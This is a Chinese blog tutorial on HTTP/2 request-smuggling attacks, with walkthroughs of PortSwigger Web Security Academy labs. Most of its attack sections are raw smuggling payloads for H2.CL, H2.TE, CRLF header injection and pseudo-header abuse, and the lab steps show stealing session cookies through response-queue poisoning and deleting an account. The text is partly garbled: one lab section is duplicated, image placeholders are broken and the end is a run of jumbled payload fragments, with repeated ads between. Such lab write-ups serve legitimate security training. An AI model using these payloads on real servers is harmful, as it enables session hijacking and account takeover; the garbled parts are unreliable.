WEB安全-金手铐系列-HTTP 2高级请求夹带攻击--Advanced request smuggling_http 2攻击(1)

最新推荐文章于 2024-09-02 23:42:39 发布

2401_84166147

最新推荐文章于 2024-09-02 23:42:39 发布

阅读量671

点赞数 29

分类专栏：程序员文章标签：大数据面试学习

本文链接：https://blog.csdn.net/2401_84166147/article/details/138869347

版权

程序员专栏收录该内容

184 篇文章 0 订阅

订阅专栏

网上学习资料一大堆，但如果学到的知识不成体系，遇到问题时只是浅尝辄止，不再深入研究，那么很难做到真正的技术提升。

需要这份系统化资料的朋友，可以戳这里获取

一个人可以走的很快，但一群人才能走的更远！不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！

GET / HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
\r\n

POST / HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
Content-Type: x-www-form-urlencoded\r\n
Content-Length: 61\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\n
\r\n
GET /anything HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
\r\n
GET / HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
\r\n


#### 4. 如何窃取其他用户的响应


一个完整的请求走私攻击如下图：  
 ![请添加图片描述](https://img-blog.csdnimg.cn/59f66eb84d0d4c55a3e49741c0b912d8.jpeg)



> 
> 两个请求，由于前端以为只发了“一个”请求，所以第一个响应被正常返回给客户端了。  
>  但第二个响应却驻留在了前端与后端之间（响应序列中排第一）。  
>  当后续再有用户正常请求时，这个驻留响应将被发给这个用户，但问题出现了，这时这个用户真实的响应却驻留在了前后端之间。（并在响应序列中排第一）  
>  所以怎么窃取呢，这时如果攻击拿捏好时间，再次访问，则驻留响应就会发给攻击者，使攻击者获取别人的信息。
> 
> 
> 


![请添加图片描述](https://img-blog.csdnimg.cn/9fc988350ac64b8dbdac4db1e6bcfc22.jpeg)


使用Burp Intruder之类的工具，攻击者可以很容易地自动重新发出请求。这样做可以快速获取不同用户的各种回复，其中可能包含有用的数据。只要前端/后端连接保持打开，就可以继续窃取此类响应。连接关闭的确切时间因服务器而异，但常见的默认情况是在处理了100个请求后终止连接。有过成功先例，再次重新毒化一个新连接也很容易。



> 
> 为了更容易区分窃取响应，请在发送的两个请求中使用不存在的路径。这样自己的请求应该一致地收到404响应，易于区分。
> 
> 
> 



> 
> 例题 2
> 
> 
> 


#### 5. 通过CRLF注入完成请求走私攻击


部分网站采取了H2.CL和H2.TE攻击的基础防护


* 验证Content-Length
* 过滤掉Transfer-Encoding


相对应绕过方式有如下两种


* 在HTTP/1中，利用服务器处理独立换行符(\n)的差异来走私被禁止的标头。




| foo | bar\r\nTransfer-Encoding: chunked |
| --- | --- |


* HTTP/2中 \r\n标头值中不再有任何特殊意义，但在降为1.0时，HTTP/1后端服务器将看到两个不同的标头




| foo | bar\r\nTransfer-Encoding: chunked |
| --- | --- |

Foo: bar
Transfer-Encoding: chunked



> 
> 例题 3
> 
> 
> 


#### 6. 其他HTTP/2的报头注入攻击方式



> 
> 尽管下文介绍的很多种请求被HTTP/2规范正式禁止，但一些服务器未能有效地验证和阻止它们，导致可以利用。
> 
> 
> 


* 通过标头名称注入


冒号或者\r\n无法在HTTP/2中使用，但是在HTTP/1.1中可以使用。前端服务器未识别出异常，一个数据包传递到后端，后端使用HTTP/1.1识别出多个数据包，造成请求走私

foo: bar\r\nTransfer-Encoding: chunked\r\nX: ignore

Foo: bar\r\n
Transfer-Encoding: chunked\r\n
X: ignore\r\n


* 伪头部标头


HTTP/2中没有请求行或者状态行，这些数据信息是通过伪头部放到请求的最前面的（二进制）。在Burp中文本话表现为带有冒号开头的伪头部，与普通报头区分开来。伪标头一般有五个：


1. :method-请求方法。


如果method值中可包含空格，则您可以按如下方式注入完全不同的请求行




| :method | GET /admin HTTP/1.1 |
| --- | --- |
| :path | /anything |
| :authority | vulnerable-website.com |

GET /admin HTTP/1.1 /anything HTTP/1.1
Host: vulnerable-website.com


2. :path-请求路径。多重表头攻击。请注意，这包括查询字符串。




| :method | POST |
| --- | --- |
| :path | /anything |
| :path | /admin |
| :authority | vulnerable-website.com |


寻找前后端服务器处理差异，是否可以直接访问受控路径/admin


3. :authority-大致相当于HTTP/1 host标头。



> 
> 请参考文章 《host头攻击》
> 
> 
> 


4. :scheme-请求协议，通常为HTTP或HTTPS。攻击尝试写入全路径

:method GET
:path /anything
:authority vulnerable-website.com
:scheme https://evil-user.net/poison?


导致后续处理时出现异常，产生异常跳转。

:status 301
location https://evil-user.net/poison?😕/vulnerable-website.com/anything/


5. :status-响应状态代码(不在请求中使用)。


当网站将请求降级为HTTP/1时，使用其中一些伪头的值来动态构建请求行。这使构建攻击成为可能。


#### 7. HTTP/2请求报头差分多个请求包


在程序有效验证Content-Length并且不支持Transfer-Encoding时，导致上述方法失效时，可尝试此方法。




| :method | GET |
| --- | --- |
| :path | / |
| :authority | vulnerable-website.com |
| foo | bar\r\n\r\n GET /admin HTTP/1.1\r\n Host: vulnerable-website.com |



> 
> 例题 4
> 
> 
> 


#### 8. HTTP请求隧道



> 
> 前述的各种利用方式都是建立在同一连接可以处理多个请求，但万一服务器对此有更严格的控制，甚至是不允许复用同一链接呢。
> 
> 
> * 同一IP或同一客户端才能使用一个连接  
>  ![请添加图片描述](https://img-blog.csdnimg.cn/afc1b697fa674b858d271122c073ea4d.png)
> 
> 
> 


* 利用请求隧道获取内部头部
	1. 漏洞确认：单纯使用HTTP/1其实无法确认是否能使用，但是HTTP/2降到1的程序，如果发送一个请求，却收到两个响应，则一存在请求走私漏洞。
	2. 获取内部添加的请求头：前后端对一个请求无差异，但是在处理请求头结束时往往有细微差别，前端默认原请求头末尾为标头结束。但后端往往认为\r\n是，则会将内部添加的请求头认为是正文一部分进行响应，导致泄露。

:method POST
:path /comment
:authority vulnerable-website.com
content-type application/x-www-form-urlencoded
foo

bar\r\n
Content-Length: 200\r\n
\r\n
comment=
x=1

POST /comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 200

comment=X-Internal-Header: secretContent-Length: 3 （此处泄露内部请求头）
x=1


### 三、漏洞实例


#### 1. H2.CL请求走私（[H2.CL request smuggling](https://bbs.csdn.net/topics/618545628)）


* **目标**


引诱目标用户从攻击服务器加载恶意的JavaScript文件并调alert(document.cookie)。


* **解题思路**
	1. 探索网站，在repeater选项中，关掉\*\*update Content-length \*\* 打开 **Allow HTTP/2 ALPN override**
	2. 尝试如下代码可以任意发文自定义Host

POST / HTTP/2
Host: YOUR-LAB-ID.web-security-academy.net
Content-Length: 0

GET /resources HTTP/1.1
Host: 自定义任意
Content-Length: 5

x=1


3. 构造攻击包。攻击服务其上，路径改为/resources，body改为alert(document.cookie)

POST / HTTP/2
Host: YOUR-LAB-ID.web-security-academy.net
Content-Length: 0

GET /resources HTTP/1.1
Host: YOUR-EXPLOIT-SERVER-ID.web-security-academy.net
Content-Length: 5

x=1


#### 2. 通过H2.TE请求走私实现响应队列中毒（[Response queue poisoning via H2.TE request smuggling](https://bbs.csdn.net/topics/618545628)）


* **目标**


通过毒化响应队列，进入/admin控制面板，删除账户calors  
 管理员每15秒登陆一次，链接每10次通讯后重置。


* **解题思路**


这道题设计的不难，但是能清晰的说明上述介绍的知识点


1. 尝试如下代码，如果出现第一次请求正常200响应，紧接着第二次请求，大概率出现404响应，则以为着存在请求走私漏洞。

POST / HTTP/2
Host: acf11f851ee7b58fc09656df00570055.web-security-academy.net
Transfer-Encoding: chunked

SMUGGLED （这是遗留的字段，会与第二个请求混在一起，形成无效访问，造成404响应）


2. 构造独立请求走私攻击包，路径替换为不存在路径，一般响应为404或200，但是若获取到302响应则为用户响应被窃取到。多尝试几次

POST /X HTTP/2
Host: acf11f851ee7b58fc09656df00570055.web-security-academy.net
Transfer-Encoding: chunked

GET /x HTTP/1.1
Host: acf11f851ee7b58fc09656df00570055.web-security-academy.net

           (末尾空两行，切记)

HTTP/2 302 Found
Location: /my-account
Set-Cookie: session=tDvMqCovLcByWPBbS1VAlJZauuXroeLw; Secure; HttpOnly; SameSite=None
Content-Length: 0


4. 提换cookie,访问/admin

GET /admin HTTP/2
Host: acf11f851ee7b58fc09656df00570055.web-security-academy.net
Cookie: session=tDvMqCovLcByWPBbS1VAlJZauuXroeLw

My account

Users

carlos - Delete

wiener - Delete


5. 来吧，直接构造删除账户carlos的数据包

GET /admin/delete?username=carlos HTTP/2
Host: acf11f851ee7b58fc09656df00570055.web-security-academy.net
Cookie: session=tDvMqCovLcByWPBbS1VAlJZauuXroeLw


成功。



> 
> 因为使用的HTTP/2.0,通常认为2.0更难以攻击，又是二进制。所以安全机制不太重视，增加验证又比较繁琐。所以一旦攻击者打开思路尝试2.0的攻击，网站往往不堪一击。这也是新技术的通病，在前期安全上都是比较脆弱的。  
>  无比怀念曾经美好的田园时代，没有那么多安全措施，审计记录。网上信息，随便看、随便拿…
> 
> 
> 


#### 3. 通过CRLF注入的HTTP/2请求走私（[HTTP/2 request smuggling via CRLF injection](https://bbs.csdn.net/topics/618545628)）


* **目标**


通过HTTP/2请求走私攻击，访问其他用户账户  
 用户每15秒登陆访问一次首页。


* **解题思路**


这套题解题思路与上文介绍的方法一致，只是操作手法上需要点技巧


1. 首先熟悉网站逻辑，发现搜索框存在查看历史记录功能。
2. 构思攻击方式，是否可以将获取的其他用户请求，作为查询参数记录再次，从而获得受害者的session。开始测试
3. 首先测试是否存在请求走私的漏洞

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
foo: bar\r\nTransfer-Encoding: chunked (通过burp的inspec更改哦shift+enter)

SMUGGLED


第二个响应包出现404，成功


4. 构造正式攻击包

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
foo: bar\r\nTransfer-Encoding: chunked (通过burp的inspec更改哦shift+enter)

POST / HTTP/2
Host: YOUR-LAB-ID.web-security-academy.net
Cookie: session=YOUR-SESSION-COOKIE （从你原始访问中查找）
Content-Length: 800

search=x （成功后，受害用户的请求会追加在X的后面）

x GET / HTTP/1.1 Host: acdc1f3b1fe924f3c0a40be5003700bc.web-security-academy.net Connection: keep-alive Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.64 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US Cookie: victim-fingerprint=qvHGe1m6kiIC3EcMdWcnksGZ6CCm2mKm; secret=3ueqN4UctgUj1NzlqzbqiHS3xFTXuPvw; session=zZYqqqLYqWV9GmHigSAktW9ZK2PEX7Ln; _lab_analytics=ONoFOFv7dqHOhmz26Yiq20JD3mOfvBzrEQBDtUnnDTjCsyyhmxDZ


得到session


5. 替换访问首页数据包的session即可


#### 4. 通过CRLF注入拆分HTTP/2请求（[HTTP/2 request splitting via CRLF injection](https://bbs.csdn.net/topics/618545628)）


* **目标**


通过毒化响应队列，进入/admin控制面板，删除账户calors  
 管理员每15秒登陆一次，链接每10次通讯后重置。  
 本提头部过滤不足


* **解题思路**


![img](https://img-blog.csdnimg.cn/img_convert/5ee7b4349c9d94aa26355c7b109b6098.png)
![img](https://img-blog.csdnimg.cn/img_convert/b6a3f8eb557920708d82ba359daaa29b.png)

**网上学习资料一大堆，但如果学到的知识不成体系，遇到问题时只是浅尝辄止，不再深入研究，那么很难做到真正的技术提升。**

**[需要这份系统化资料的朋友，可以戳这里获取](https://bbs.csdn.net/topics/618545628)**


**一个人可以走的很快，但一群人才能走的更远！不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！**

ssion即可


#### 4. 通过CRLF注入拆分HTTP/2请求（[HTTP/2 request splitting via CRLF injection](https://bbs.csdn.net/topics/618545628)）


* **目标**


通过毒化响应队列，进入/admin控制面板，删除账户calors  
 管理员每15秒登陆一次，链接每10次通讯后重置。  
 本提头部过滤不足


* **解题思路**


[外链图片转存中...(img-oc7JLyx2-1715690444520)]
[外链图片转存中...(img-3lDbwu61-1715690444520)]

**网上学习资料一大堆，但如果学到的知识不成体系，遇到问题时只是浅尝辄止，不再深入研究，那么很难做到真正的技术提升。**

**[需要这份系统化资料的朋友，可以戳这里获取](https://bbs.csdn.net/topics/618545628)**


**一个人可以走的很快，但一群人才能走的更远！不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！**

2401_84166147

关注

29
点赞
踩
18

收藏

觉得还不错? 一键收藏
0
评论
WEB安全-金手铐系列-HTTP 2高级请求夹带攻击--Advanced request smuggling_http 2攻击(1)

r\n\r\n0\r\n\r\n\r\n\r\nFoo: barfoobar\r\n\r\ncomment=x=1comment=X-Internal-Header: secretContent-Length: 3 （此处泄露内部请求头）x=1Host: 自定义任意x=1x=10SMUGGLED （这是遗留的字段，会与第二个请求混在一起，形成无效访问，造成404响应）0。
复制链接

扫一扫